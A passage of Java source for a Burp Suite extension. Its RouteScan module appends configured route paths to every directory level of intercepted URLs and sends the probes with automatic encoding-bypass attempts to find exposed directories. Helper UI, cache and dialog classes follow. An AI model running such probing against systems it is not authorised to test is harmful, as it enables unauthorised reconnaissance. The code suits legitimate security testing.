 public JPanel getPanel(IBurpExtenderCallbacks callbacks) {\n\n        return panel;\n    }\n\n    @Override\n    public String getTabName() {\n        return \"RouteScan\";\n    }\n\n    // 核心方法\n    public static void Check(IHttpRequestResponse[] responses, boolean isSend) {\n        lock.lock();\n        try {\n            IHttpRequestResponse baseRequest = responses[0];\n\n            // 1. 基础请求信息提取\n            IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequest);\n            URL baseUrl = analyzeRequest.getUrl();\n            String method = analyzeRequest.getMethod();\n            String originalPath = baseUrl.getPath();\n\n            // 2. 基础验证\n            if (!method.equals(\"GET\") && !method.equals(\"POST\")) {\n                return;\n            }\n            // 验证后缀\n            if (Utils.isUrlBlackListSuffix(baseUrl.toString())) {\n                return;\n            }\n            // 重复性检查\n            if (!isSend && !UrlCacheUtil.checkUrlUnique(\"route\", method, baseUrl, analyzeRequest.getParameters())) {\n                return;\n            }\n\n            // 3. 获取原始请求的完整内容\n            byte[] rawRequest = baseRequest.getRequest();\n            String rawRequestStr = Utils.helpers.bytesToString(rawRequest);\n            List<String> headers = analyzeRequest.getHeaders();\n\n            // 4. 遍历所有路由规则\n            for (RouteBean routeBean : routeList) {\n                if (routeBean.getEnable() != 1) {\n                    continue;\n                }\n\n                // 5. 对每个路径生成测试路径\n                List<String> testPaths = generateTestPaths(originalPath, routeBean.getPath());\n\n                for (String testPath : testPaths) {\n                    String fullTestUrl = baseUrl.getHost() + testPath;\n\n                    // 去重检查（仅被动扫描时检查，右键菜单调用时跳过）\n                    if (!isSend && uniqueUrl.contains(fullTestUrl)) {\n                        continue;\n                    }\n                    uniqueUrl.add(fullTestUrl);\n\n                    // 6. 构造新的请求\n                    byte[] newRequest = buildNewRequest(\n                            baseRequest.getHttpService(),\n                            headers,\n                            method,\n                            testPath,\n                            analyzeRequest.getBodyOffset(),\n                            rawRequest\n                    );\n\n                    // 7. 发送请求并处理响应（使用智能检测，自动尝试编码绕过）\n                    String fullUrl = baseUrl.getProtocol() + \"://\" + baseUrl.getHost() +\n                            (baseUrl.getPort() != -1 ? \":\" + baseUrl.getPort() : \"\") + testPath;\n                    IHttpRequestResponse response = sendRequestWithSmartDetect(\n                            baseRequest.getHttpService(), fullUrl, newRequest);\n                    if (response != null && response.getResponse() != null) {\n                        processResponse(response, routeBean, baseRequest);\n                    }\n                }\n            }\n        }\n        catch (Exception e) {\n            Utils.stderr.println(\"Error in Check: \" + e.getMessage());\n        }finally {\n            lock.unlock();\n        }\n    }\n\n    private static IHttpRequestResponse sendRequestWithSmartDetect(IHttpService httpService, String url, byte[] request) {\n        SmartRequestDetector detector = new SmartRequestDetector(httpService);\n        return detector.smartSendRequest(url, request);\n    }\n\n    private static List<String> generateTestPaths(String originalPath, String payload) {\n        List<String> testPaths = new ArrayList<>();\n\n        // 清理路径中的矩阵参数(matrix parameters)\n        originalPath = cleanPath(originalPath);\n\n        String[] pathSegments = originalPath.split(\"/\");\n        StringBuilder currentPath = new StringBuilder();\n\n        // Add root level test\n        testPaths.add(payload);\n\n        // Generate test paths for each directory level\n        for (String segment : pathSegments) {\n            if (!segment.isEmpty()) {\n                if (currentPath.length() == 0) {\n                    currentPath.append(\"/\").append(cleanSegment(segment));\n                } else {\n                    currentPath.append(\"/\").append(cleanSegment(segment));\n                }\n                testPaths.add(currentPath + payload);\n            }\n        }\n\n        return testPaths;\n    }\n\n    /**\n     * 清理整个路径中的矩阵参数\n     */\n    private static String cleanPath(String path) {\n        // 移除路径中所有的矩阵参数\n        return path.replaceAll(\";[^/]*\", \"\");\n    }\n\n    /**\n     * 清理单个路径段中的矩阵参数\n     */\n    private static String cleanSegment(String segment) {\n        int semicolonIndex = segment.indexOf(';');\n        if (semicolonIndex != -1) {\n            return segment.substring(0, semicolonIndex);\n        }\n        return segment;\n    }\n\n    private static byte[] buildNewRequest(\n            IHttpService httpService,\n            List<String> headers,\n            String method,\n            String newPath,\n            int bodyOffset,\n            byte[] originalRequest\n    ) {\n        // 1. 更新请求头中的路径\n        List<String> newHeaders = new ArrayList<>();\n        for (int i = 0; i < headers.size(); i++) {\n            if (i == 0) {\n                // 更新第一行的请求路径\n                String firstLine = headers.get(0);\n                String[] parts = firstLine.split(\" \");\n                parts[1] = newPath;\n                newHeaders.add(String.join(\" \", parts));\n            } else {\n                newHeaders.add(headers.get(i));\n            }\n        }\n\n        // 2. 构建新请求\n        if (method.equals(\"POST\")) {\n            // POST请求保留原始请求体\n            byte[] body = Arrays.copyOfRange(originalRequest, bodyOffset, originalRequest.length);\n            return Utils.helpers.buildHttpMessage(newHeaders, body);\n        } else {\n            // GET请求不需要请求体\n            return Utils.helpers.buildHttpMessage(newHeaders, null);\n        }\n    }\n\n    private static IHttpRequestResponse sendRequest(IHttpService httpService, byte[] request) {\n        try {\n            return Utils.callbacks.makeHttpRequest(httpService, request);\n        } catch (Exception e) {\n            Utils.stderr.println(\"Error sending request: \" + e.getMessage());\n            return null;\n        }\n    }\n\n    private static void processResponse(\n            IHttpRequestResponse response,\n            RouteBean routeBean,\n            IHttpRequestResponse originalRequest\n    ) {\n        try {\n            ExpressionUtils expressionUtils = new ExpressionUtils(response);\n            if (expressionUtils.process(routeBean.getExpress())) {\n                // 添加到结果列表\n                addIssus(\n                        routeBean.getName(),\n                        expressionUtils.getUrl(),\n                        String.valueOf(expressionUtils.getCode()),\n                        response\n                );\n\n                // 创建扫描问题\n                IScanIssue issue = new CustomScanIssue(\n                        originalRequest.getHttpService(),\n                        new URL(expressionUtils.getUrl()),\n                        new IHttpRequestResponse[]{response},\n                        \"Directory leakage\",\n                        \"A sensitive directory leak vulnerability was discovered.\",\n                        \"High\",\n                        \"Certain\"\n                );\n                Utils.callbacks.addScanIssue(issue);\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(\"Error processing response: \" + e.getMessage());\n        }\n    }\n\n\n    // 追加路径\n    public static List<String> append(String basePath, String stringToAppend) {\n        List<String> result = new ArrayList<>();\n        String[] paths = basePath.split(\"/\");\n        StringBuilder currentPath = new StringBuilder();\n\n        for (int i = 0; i < paths.length; i++) {\n            String path = paths[i];\n            if (!path.isEmpty()) {\n                if (i == 0) {\n                    currentPath.append(path);\n                } else {\n                    currentPath.append(\"/\").append(path);\n                }\n                result.add(currentPath.toString() + stringToAppend);\n            }\n        }\n\n        if (!basePath.endsWith(\"/\")) {\n            result.remove(result.size() - 1);\n        }\n        result.add(stringToAppend);\n        return result;\n    }\n\n    private static String generateIssueKey(String name, String url, String status) {\n        return String.format(\"%s:%s:%s\", name, url, status);\n    }\n\n    public static void addIssus(String name, String url, String Status, IHttpRequestResponse requestResponse) {\n        String issueKey = generateIssueKey(name, url, Status);\n\n        synchronized (issuslog) {\n            if (discoveredIssues.add(issueKey)) {  // Set.add()会返回false如果元素已存在\n                issuslog.add(new RouteIssusEntry(issuslog.size(), name, url, Status, requestResponse));\n                issusTable.updateUI();\n            }\n        }\n    }\n\n    // RouteIssusModel模型\n    static class RouteIssusModel extends AbstractTableModel {\n\n        @Override\n        public int getRowCount() {\n            return issuslog.size();\n        }\n\n        @Override\n        public int getColumnCount() {\n            return 4;\n        }\n\n        @Override\n        public Object getValueAt(int rowIndex, int columnIndex) {\n            RouteIssusEntry logEntry = issuslog.get(rowIndex);\n            switch (columnIndex) {\n                case 0:\n                    return logEntry.id;\n                case 1:\n                    return logEntry.issueName;\n                case 2:\n                    return logEntry.url;\n                case 3:\n                    return logEntry.status;\n                default:\n                    return \"\";\n            }\n        }\n\n        @Override\n        public String getColumnName(int column) {\n            switch (column) {\n                case 0:\n                    return \"id\";\n                case 1:\n                    return \"Issus name\";\n                case 2:\n                    return \"url\";\n                case 3:\n                    return \"status\";\n                default:\n                    return \"\";\n            }\n\n        }\n\n    }\n    // RouteIssus实体\n    private static class RouteIssusEntry {\n        final int id;\n        final String issueName;\n        final String url;\n        final String status;\n        final IHttpRequestResponse requestResponse;\n\n        public RouteIssusEntry(int id, String issueName, String url, String status, IHttpRequestResponse requestResponse) {\n            this.id = id;\n            this.issueName = issueName;\n            this.url = url;\n            this.status = status;\n            this.requestResponse = requestResponse;\n        }\n    }\n    // RouteIssusTable表格\n    private class RouteIssusTable extends JTable {\n        public RouteIssusTable(TableModel tableModel) {\n            super(tableModel);\n            TableColumnModel columnModel = getColumnModel();\n            columnModel.getColumn(0).setMaxWidth(50);\n            columnModel.getColumn(1).setMinWidth(100);\n            columnModel.getColumn(1).setMaxWidth(150);\n            columnModel.getColumn(3).setMaxWidth(50);\n        }\n\n        @Override\n        public void changeSelection(int row, int col, boolean toggle, boolean extend) {\n            RouteIssusEntry issusEntry = issuslog.get(row);\n            HRequestTextEditor.setMessage(issusEntry.requestResponse.getRequest(), true);\n            if (issusEntry.requestResponse.getResponse() == null) {\n                HResponseTextEditor.setMessage(new byte[0], false);\n            } else {\n                HResponseTextEditor.setMessage(issusEntry.requestResponse.getResponse(), false);\n            }\n            currentlyDisplayedItem = issusEntry.requestResponse;\n            super.changeSelection(row, col, toggle, extend);\n        }\n    }\n\n    // 路由规则实体\n    public static class RouteEntry {\n        final int id;\n        int enable;\n        final String name;\n        final String path;\n        final String express;\n\n        public RouteEntry(int id, int enable, String name, String path, String express) {\n            this.id = id;\n            this.enable = enable;\n            this.name = name;\n            this.path = path;\n            this.express = express;\n        }\n    }\n    // 路由表格模型\n    static class RouteModel extends AbstractTableModel {\n\n        @Override\n        public int getRowCount() {\n            return routelog.size();\n        }\n\n        @Override\n        public int getColumnCount() {\n            return 5;\n        }\n\n        @Override\n        public Object getValueAt(int rowIndex, int columnIndex) {\n            RouteEntry logEntry = routelog.get(rowIndex);\n            switch (columnIndex) {\n                case 0:\n                    return logEntry.id;\n                case 1:\n                    return logEntry.enable == 1 ? \"开启\" : \"关闭\";\n                case 2:\n                    return logEntry.name;\n                case 3:\n                    return logEntry.path;\n                case 4:\n                    return logEntry.express;\n                default:\n                    return \"\";\n            }\n        }\n\n        @Override\n        public String getColumnName(int column) {\n            switch (column) {\n                case 0:\n                    return \"id\";\n                case 1:\n                    return \"enable\";\n                case 2:\n                    return \"name\";\n                case 3:\n                    return \"path\";\n                case 4:\n                    return \"express\";\n                default:\n                    return \"\";\n            }\n\n        }\n\n    }\n    // 路由表格\n    private class RouteTable extends JTable {\n        public RouteTable(TableModel tableModel) {\n            super(tableModel);\n            // 设置列宽\n            TableColumnModel columnModel = getColumnModel();\n            columnModel.getColumn(0).setMaxWidth(50);\n            columnModel.getColumn(1).setMaxWidth(50);\n            columnModel.getColumn(2).setMinWidth(100);\n            columnModel.getColumn(2).setMaxWidth(150);\n        }\n        @Override\n        public TableCellRenderer getCellRenderer(int row, int column) {\n            return new CustomTableCellRenderer();\n        }\n\n    }\n    // 自定义TableCellRenderer，用于将\"开启\"/\"关闭\"显示为特定颜色等样式\n    private static class CustomTableCellRenderer extends DefaultTableCellRenderer {\n        @Override\n        public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {\n            super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column);\n            if (value instanceof String) {\n                String text = (String) value;\n                if (\"开启\".equals(text)) {\n                    setForeground(Color.GREEN); // 设置开启状态的文字颜色为绿色\n                } else if (\"关闭\".equals(text)) {\n                    setForeground(Color.RED); // 设置关闭状态的文字颜色为红色\n                }\n            }\n            return this;\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/ui/SimilarHelper/CacheManager.java",
    "content": "package burp.ui.SimilarHelper;\n\n\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\npublic class CacheManager {\n    // 域名-IP映射缓存\n    private static final ConcurrentMap<String, String> domainIPCache = new ConcurrentHashMap<>();\n\n    // 项目域名缓存 (项目ID -> 域名集合)\n    private static final ConcurrentMap<Integer, Set<String>> projectDomainCache = new ConcurrentHashMap<>();\n\n    // 项目URL缓存 (项目ID -> URL集合)\n    private static final ConcurrentMap<Integer, Set<String>> projectUrlCache = new ConcurrentHashMap<>();\n\n    // 缓存过期时间（毫秒）\n    private static final long CACHE_EXPIRY = 24 * 60 * 60 * 1000; // 24小时\n\n    // 域名-IP缓存时间记录\n    private static final ConcurrentMap<String, Long> domainIPCacheTime = new ConcurrentHashMap<>();\n\n    /**\n     * 缓存域名的IP地址\n     */\n    public static void cacheIP(String domain, String ip) {\n        domainIPCache.put(domain.toLowerCase(), ip);\n        domainIPCacheTime.put(domain.toLowerCase(), System.currentTimeMillis());\n    }\n\n    /**\n     * 获取缓存的IP地址\n     */\n    public static String getCachedIP(String domain) {\n        String lowerDomain = domain.toLowerCase();\n        Long cacheTime = domainIPCacheTime.get(lowerDomain);\n\n        if (cacheTime == null) {\n            return null;\n        }\n\n        // 检查缓存是否过期\n        if (System.currentTimeMillis() - cacheTime > CACHE_EXPIRY) {\n            domainIPCache.remove(lowerDomain);\n            domainIPCacheTime.remove(lowerDomain);\n            return null;\n        }\n\n        return domainIPCache.get(lowerDomain);\n    }\n\n    /**\n     * 缓存项目的域名\n     */\n    public static void cacheProjectDomain(int projectId, String domain) {\n        projectDomainCache.computeIfAbsent(projectId, k -> ConcurrentHashMap.newKeySet())\n                .add(domain.toLowerCase());\n    }\n\n    /**\n     * 检查域名是否已缓存\n     */\n    public static boolean isProjectDomainCached(int projectId, String domain) {\n        Set<String> domains = projectDomainCache.get(projectId);\n        return domains != null && domains.contains(domain.toLowerCase());\n    }\n\n    /**\n     * 缓存项目的URL\n     */\n    public static void cacheProjectUrl(int projectId, String url) {\n        projectUrlCache.computeIfAbsent(projectId, k -> ConcurrentHashMap.newKeySet())\n                .add(url);\n    }\n\n    /**\n     * 检查URL是否已缓存\n     */\n    public static boolean isProjectUrlCached(int projectId, String url) {\n        Set<String> urls = projectUrlCache.get(projectId);\n        return urls != null && urls.contains(url);\n    }\n\n    /**\n     * 清除指定项目的缓存\n     */\n    public static void clearProjectCache(int projectId) {\n        projectDomainCache.remove(projectId);\n        projectUrlCache.remove(projectId);\n    }\n\n    /**\n     * 清除所有缓存\n     */\n    public static void clearAllCache() {\n        domainIPCache.clear();\n        domainIPCacheTime.clear();\n        projectDomainCache.clear();\n        projectUrlCache.clear();\n    }\n\n    /**\n     * 获取缓存统计信息\n     */\n    public static Map<String, Integer> getCacheStats() {\n        Map<String, Integer> stats = new HashMap<>();\n\n        // 统计域名IP缓存数量\n        stats.put(\"domainIpCache\", domainIPCache.size());\n\n        // 统计所有项目的域名缓存总数\n        int totalDomains = projectDomainCache.values().stream()\n                .mapToInt(Set::size)\n                .sum();\n        stats.put(\"projectDomainCache\", totalDomains);\n\n        // 统计所有项目的URL缓存总数\n        int totalUrls = projectUrlCache.values().stream()\n                .mapToInt(Set::size)\n                .sum();\n        stats.put(\"projectUrlCache\", totalUrls);\n\n        return stats;\n    }\n\n    /**\n     * 获取指定项目的缓存统计\n     */\n    public static Map<String, Integer> getProjectCacheStats(int projectId) {\n        Map<String, Integer> stats = new HashMap<>();\n\n        Set<String> domains = projectDomainCache.get(projectId);\n        stats.put(\"domains\", domains != null ? domains.size() : 0);\n\n        Set<String> urls = projectUrlCache.get(projectId);\n        stats.put(\"urls\", urls != null ? urls.size() : 0);\n\n        return stats;\n    }\n\n    /**\n     * 检查并清理过期的IP缓存\n     */\n    public static void cleanExpiredIPCache() {\n        long currentTime = System.currentTimeMillis();\n        Set<String> expiredDomains = new HashSet<>();\n\n        domainIPCacheTime.forEach((domain, cacheTime) -> {\n            if (currentTime - cacheTime > CACHE_EXPIRY) {\n                expiredDomains.add(domain);\n            }\n        });\n\n        expiredDomains.forEach(domain -> {\n            domainIPCache.remove(domain);\n            domainIPCacheTime.remove(domain);\n        });\n    }\n\n    /**\n     * 检查域名IP是否需要刷新缓存\n     */\n    public static boolean needsIPRefresh(String domain) {\n        String lowerDomain = domain.toLowerCase();\n        Long cacheTime = domainIPCacheTime.get(lowerDomain);\n        return cacheTime == null || System.currentTimeMillis() - cacheTime > CACHE_EXPIRY;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/ui/SimilarHelper/TableRenderer.java",
    "content": "package burp.ui.SimilarHelper;\n\nimport javax.swing.*;\nimport javax.swing.table.DefaultTableCellRenderer;\nimport java.awt.*;\n\npublic class TableRenderer extends DefaultTableCellRenderer {\n    private static final Color ALTERNATE_COLOR = new Color(240, 240, 240);\n    private static final int MAX_TEXT_LENGTH = 100;\n\n    @Override\n    public Component getTableCellRendererComponent(JTable table, Object value,\n                                                   boolean isSelected, boolean hasFocus, int row, int column) {\n        Component c = super.getTableCellRendererComponent(\n                table, value, isSelected, hasFocus, row, column);\n\n        if (!isSelected) {\n            c.setBackground(row % 2 == 0 ? Color.WHITE : ALTERNATE_COLOR);\n        }\n\n        if (value instanceof String) {\n            String text = (String) value;\n            if (text.length() > MAX_TEXT_LENGTH) {\n                setText(text.substring(0, MAX_TEXT_LENGTH - 3) + \"...\");\n                setToolTipText(text);\n            } else {\n                setText(text);\n                setToolTipText(text);\n            }\n        }\n\n        // 为特定列设置对齐方式\n        if (table.getColumnName(column).equals(\"ID\")) {\n            setHorizontalAlignment(SwingConstants.CENTER);\n        } else if (table.getColumnName(column).equals(\"Time\")) {\n            setHorizontalAlignment(SwingConstants.CENTER);\n        } else if (table.getColumnName(column).equals(\"IP\")) {\n            setHorizontalAlignment(SwingConstants.CENTER);\n        } else {\n            setHorizontalAlignment(SwingConstants.LEFT);\n        }\n\n        // 设置边框\n        setBorder(BorderFactory.createCompoundBorder(\n                getBorder(),\n                BorderFactory.createEmptyBorder(1, 4, 1, 4)\n        ));\n\n        return c;\n    }\n}"
  },
  {
    "path": "src/main/java/burp/ui/SimilarHelper/ThreadManager.java",
    "content": "package burp.ui.SimilarHelper;\n\n\nimport burp.utils.Utils;\n\nimport java.util.concurrent.*;\nimport java.util.concurrent.atomic.AtomicInteger;\n\npublic class ThreadManager {\n    private static final int CORE_POOL_SIZE = Runtime.getRuntime().availableProcessors();\n    private static final int MAX_POOL_SIZE = CORE_POOL_SIZE * 2;\n    private static final long KEEP_ALIVE_TIME = 60L;\n\n    private static final ExecutorService executorService = new ThreadPoolExecutor(\n            CORE_POOL_SIZE,\n            MAX_POOL_SIZE,\n            KEEP_ALIVE_TIME,\n            TimeUnit.SECONDS,\n            new LinkedBlockingQueue<>(1000),\n            new ThreadFactory() {\n                private final AtomicInteger counter = new AtomicInteger();\n                @Override\n                public Thread newThread(Runnable r) {\n                    Thread thread = new Thread(r);\n                    thread.setName(\"SimilarUI-Worker-\" + counter.incrementAndGet());\n                    thread.setDaemon(true);\n                    return thread;\n                }\n            },\n            new ThreadPoolExecutor.CallerRunsPolicy()\n    );\n\n    public static void execute(Runnable task) {\n        executorService.execute(() -> {\n            try {\n                task.run();\n            } catch (Exception e) {\n                Utils.stderr.println(\"Task execution failed: \" + e.getMessage());\n                e.printStackTrace(Utils.stderr);\n            }\n        });\n    }\n\n    public static <T> Future<T> submit(Callable<T> task) {\n        return executorService.submit(() -> {\n            try {\n                return task.call();\n            } catch (Exception e) {\n                Utils.stderr.println(\"Task execution failed: \" + e.getMessage());\n                e.printStackTrace(Utils.stderr);\n                throw e;\n            }\n        });\n    }\n\n    public static void shutdown() {\n        executorService.shutdown();\n        try {\n            if (!executorService.awaitTermination(5, TimeUnit.SECONDS)) {\n                executorService.shutdownNow();\n            }\n        } catch (InterruptedException e) {\n            executorService.shutdownNow();\n            Thread.currentThread().interrupt();\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/ui/SimilarHelper/bean/Domain.java",
    "content": "package burp.ui.SimilarHelper.bean;\n\nimport burp.bean.SimilarDomainResultBean;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.Objects;\n\npublic class Domain {\n    private static int counter = 0;\n    private int id;\n    private final String domain;\n    private final String ip;\n    private final String timestamp;\n\n    public Domain(String domain, String ip) {\n        this.id = ++counter;  // 使用临时ID\n        this.domain = domain;\n        this.ip = ip;\n        this.timestamp = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\")\n                .format(new Date());\n    }\n\n    public Domain(SimilarDomainResultBean bean) {\n        this.id = bean.getId();\n        this.domain = bean.getDomain();\n        this.ip = bean.getIp();\n        this.timestamp = formatTimestamp(bean.getCreateTime());\n    }\n\n    private String formatTimestamp(String timestamp) {\n        if (timestamp == null || timestamp.trim().isEmpty()) {\n            return new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\").format(new Date());\n        }\n        return timestamp;\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public void setId(int id) {\n        this.id = id;\n    }\n\n    public String getDomain() {\n        return domain;\n    }\n\n    public String getIp() {\n        return ip;\n    }\n\n    public String getTimestamp() {\n        return timestamp;\n    }\n\n    @Override\n    public boolean equals(Object o) {\n        if (this == o) return true;\n        if (o == null || getClass() != o.getClass()) return false;\n        Domain that = (Domain) o;\n        return domain.equals(that.domain);\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(domain);\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/ui/SimilarHelper/bean/Project.java",
    "content": "package burp.ui.SimilarHelper.bean;\n\nimport burp.bean.SimilarProjectBean;\nimport burp.dao.SimilarDomainConfigDao;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class Project {\n    private int id;\n    private String name;\n    private String createTime;\n    private List<String> mainDomains = new ArrayList<>();\n    private List<Domain> domainEntries = new ArrayList<>();\n    private List<URL> urlEntries = new ArrayList<>();\n\n    public Project(SimilarProjectBean bean) {\n        this.id = bean.getId();\n        this.name = bean.getName();\n        this.createTime = bean.getCreateTime();\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public List<String> getMainDomains() {\n        return mainDomains;\n    }\n\n    public void setMainDomains(List<String> domains) {\n        this.mainDomains = new ArrayList<>(domains);\n        // 更新数据库\n        SimilarDomainConfigDao.saveDomainConfigs(id, domains);\n    }\n\n    public List<Domain> getDomainEntries() {\n        return domainEntries;\n    }\n\n    public List<URL> getUrlEntries() {\n        return urlEntries;\n    }\n\n    public void addDomainEntry(Domain entry) {\n        if (!domainEntries.contains(entry)) {\n            domainEntries.add(entry);\n        }\n    }\n\n    public void addUrlEntry(URL entry) {\n        if (!urlEntries.contains(entry)) {\n            urlEntries.add(entry);\n        }\n    }\n\n    @Override\n    public String toString() {\n        return name;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/ui/SimilarHelper/bean/URL.java",
    "content": "package burp.ui.SimilarHelper.bean;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\npublic class URL {\n    private static int counter = 0;\n    private int id;\n    private String url;\n    private String timestamp;\n\n    public URL(String url) {\n        this.id = ++counter;\n        this.url = url;\n        this.timestamp = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\")\n                .format(new Date());\n    }\n    public int getId() {\n        return id;\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public String getTimestamp() {\n        return timestamp;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/ui/SimilarHelper/dialog/DomainConfigDialog.java",
    "content": "package burp.ui.SimilarHelper.dialog;\n\nimport burp.ui.SimilarHelper.bean.Project;\nimport burp.utils.I18nUtils;\n\nimport javax.swing.*;\nimport java.awt.*;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class DomainConfigDialog extends JDialog {\n    private DefaultListModel<String> listModel;\n    private JList<String> domainList;\n    private Project currentProject;\n\n    public DomainConfigDialog(Window owner, Project project) {\n        super(owner, I18nUtils.get(\"similar.dialog.domain_config_title\"), ModalityType.APPLICATION_MODAL);\n        this.currentProject = project;\n        initializeUI();\n        loadDomains();\n        setSize(400, 500);\n        setLocationRelativeTo(owner);\n    }\n\n    private void initializeUI() {\n        setLayout(new BorderLayout(5, 5));\n\n        // 创建列表模型和列表\n        listModel = new DefaultListModel<>();\n        domainList = new JList<>(listModel);\n        domainList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);\n\n        // 添加滚动面板\n        JScrollPane scrollPane = new JScrollPane(domainList);\n\n        // 创建按钮面板\n        JPanel buttonPanel = new JPanel(new FlowLayout(FlowLayout.CENTER, 5, 5));\n\n        JButton addButton = new JButton(I18nUtils.get(\"similar.dialog.add_domain\"));\n        JButton editButton = new JButton(I18nUtils.get(\"similar.dialog.edit_domain\"));\n        JButton deleteButton = new JButton(I18nUtils.get(\"similar.dialog.delete_domain\"));\n        JButton saveButton = new JButton(I18nUtils.get(\"similar.dialog.save\"));\n\n        buttonPanel.add(addButton);\n        buttonPanel.add(editButton);\n        buttonPanel.add(deleteButton);\n        buttonPanel.add(saveButton);\n\n        // 添加组件到对话框\n        JPanel mainPanel = new JPanel(new BorderLayout(5, 5));\n        mainPanel.setBorder(BorderFactory.createEmptyBorder(10, 10, 10, 10));\n        mainPanel.add(new JLabel(I18nUtils.get(\"similar.dialog.domain_list\")), BorderLayout.NORTH);\n        mainPanel.add(scrollPane, BorderLayout.CENTER);\n\n        add(mainPanel, BorderLayout.CENTER);\n        add(buttonPanel, BorderLayout.SOUTH);\n\n        // 添加按钮事件\n        addButton.addActionListener(e -> showAddDomainDialog());\n        editButton.addActionListener(e -> showEditDomainDialog());\n        deleteButton.addActionListener(e -> deleteDomain());\n        saveButton.addActionListener(e -> {\n            saveDomains();\n            dispose();\n        });\n    }\n\n    private void loadDomains() {\n        listModel.clear();\n        if (currentProject != null) {\n            List<String> domains = currentProject.getMainDomains();\n            domains.forEach(listModel::addElement);\n        }\n    }\n\n    private void showAddDomainDialog() {\n        String domain = JOptionPane.showInputDialog(this,\n                I18nUtils.get(\"similar.dialog.input_domain\"),\n                I18nUtils.get(\"similar.dialog.add_domain_title\"),\n                JOptionPane.PLAIN_MESSAGE);\n\n        if (domain != null && !domain.trim().isEmpty()) {\n            domain = domain.trim().toLowerCase();\n            if (!listModel.contains(domain)) {\n                listModel.addElement(domain);\n            } else {\n                JOptionPane.showMessageDialog(this,\n                        I18nUtils.get(\"similar.dialog.domain_exists\"),\n                        I18nUtils.get(\"similar.dialog.tip\"),\n                        JOptionPane.WARNING_MESSAGE);\n            }\n        }\n    }\n\n    private void showEditDomainDialog() {\n        int selectedIndex = domainList.getSelectedIndex();\n        if (selectedIndex != -1) {\n            String oldDomain = listModel.getElementAt(selectedIndex);\n            String newDomain = JOptionPane.showInputDialog(this,\n                    I18nUtils.get(\"similar.dialog.edit_domain\"),\n                    oldDomain);\n\n            if (newDomain != null && !newDomain.trim().isEmpty()) {\n                newDomain = newDomain.trim().toLowerCase();\n                if (!listModel.contains(newDomain) || newDomain.equals(oldDomain)) {\n                    listModel.setElementAt(newDomain, selectedIndex);\n                } else {\n                    JOptionPane.showMessageDialog(this,\n                            I18nUtils.get(\"similar.dialog.domain_exists\"),\n                            I18nUtils.get(\"similar.dialog.tip\"),\n                            JOptionPane.WARNING_MESSAGE);\n                }\n            }\n        } else {\n            JOptionPane.showMessageDialog(this,\n                    I18nUtils.get(\"similar.dialog.select_domain_to_edit\"),\n                    I18nUtils.get(\"similar.dialog.tip\"),\n                    JOptionPane.WARNING_MESSAGE);\n        }\n    }\n\n    private void deleteDomain() {\n        int selectedIndex = domainList.getSelectedIndex();\n        if (selectedIndex != -1) {\n            if (JOptionPane.showConfirmDialog(this,\n                    I18nUtils.get(\"similar.dialog.confirm_delete_domain\"),\n                    I18nUtils.get(\"similar.dialog.confirm_delete\"),\n                    JOptionPane.YES_NO_OPTION) == JOptionPane.YES_OPTION) {\n                listModel.remove(selectedIndex);\n            }\n        } else {\n            JOptionPane.showMessageDialog(this,\n                    I18nUtils.get(\"similar.dialog.select_domain_to_delete\"),\n                    I18nUtils.get(\"similar.dialog.tip\"),\n                    JOptionPane.WARNING_MESSAGE);\n        }\n    }\n\n    private void saveDomains() {\n        List<String> domains = new ArrayList<>();\n        for (int i = 0; i < listModel.size(); i++) {\n            domains.add(listModel.getElementAt(i));\n        }\n        currentProject.setMainDomains(domains);\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/ui/SimilarHelper/dialog/ProjectManageDialog.java",
    "content": "package burp.ui.SimilarHelper.dialog;\n\nimport burp.bean.SimilarProjectBean;\nimport burp.dao.SimilarProjectDao;\nimport burp.ui.SimilarHelper.bean.Project;\nimport burp.utils.I18nUtils;\n\nimport javax.swing.*;\nimport java.awt.*;\nimport java.awt.event.MouseAdapter;\nimport java.awt.event.MouseEvent;\nimport java.util.List;\nimport java.util.function.Consumer;\n\npublic class ProjectManageDialog extends JDialog {\n    private List<Project> projects;\n    private JList<Project> projectList;\n    private DefaultListModel<Project> listModel;\n    private Consumer<Project> onProjectSelected;\n    private boolean isProcessingSelection = false;  // 添加标志位防止重复处理\n\n    public ProjectManageDialog(Window owner, List<Project> projects, Consumer<Project> onProjectSelected) {\n        super(owner, I18nUtils.get(\"similar.dialog.project_manage_title\"), ModalityType.APPLICATION_MODAL);\n        this.projects = projects;\n        this.onProjectSelected = onProjectSelected;\n\n        initializeUI();\n        setSize(400, 300);\n        setLocationRelativeTo(owner);\n    }\n\n    private void initializeUI() {\n        setLayout(new BorderLayout());\n\n        // 创建项目列表\n        listModel = new DefaultListModel<>();\n        projects.forEach(listModel::addElement);\n        projectList = new JList<>(listModel);\n\n        // 添加双击选择功能\n        projectList.addMouseListener(new MouseAdapter() {\n            @Override\n            public void mouseClicked(MouseEvent e) {\n                if (e.getClickCount() == 2) {  // 双击\n                    selectProject();\n                }\n            }\n        });\n\n        // 按钮面板\n        JPanel buttonPanel = new JPanel();\n        JButton addButton = new JButton(I18nUtils.get(\"similar.dialog.add_project\"));\n        JButton deleteButton 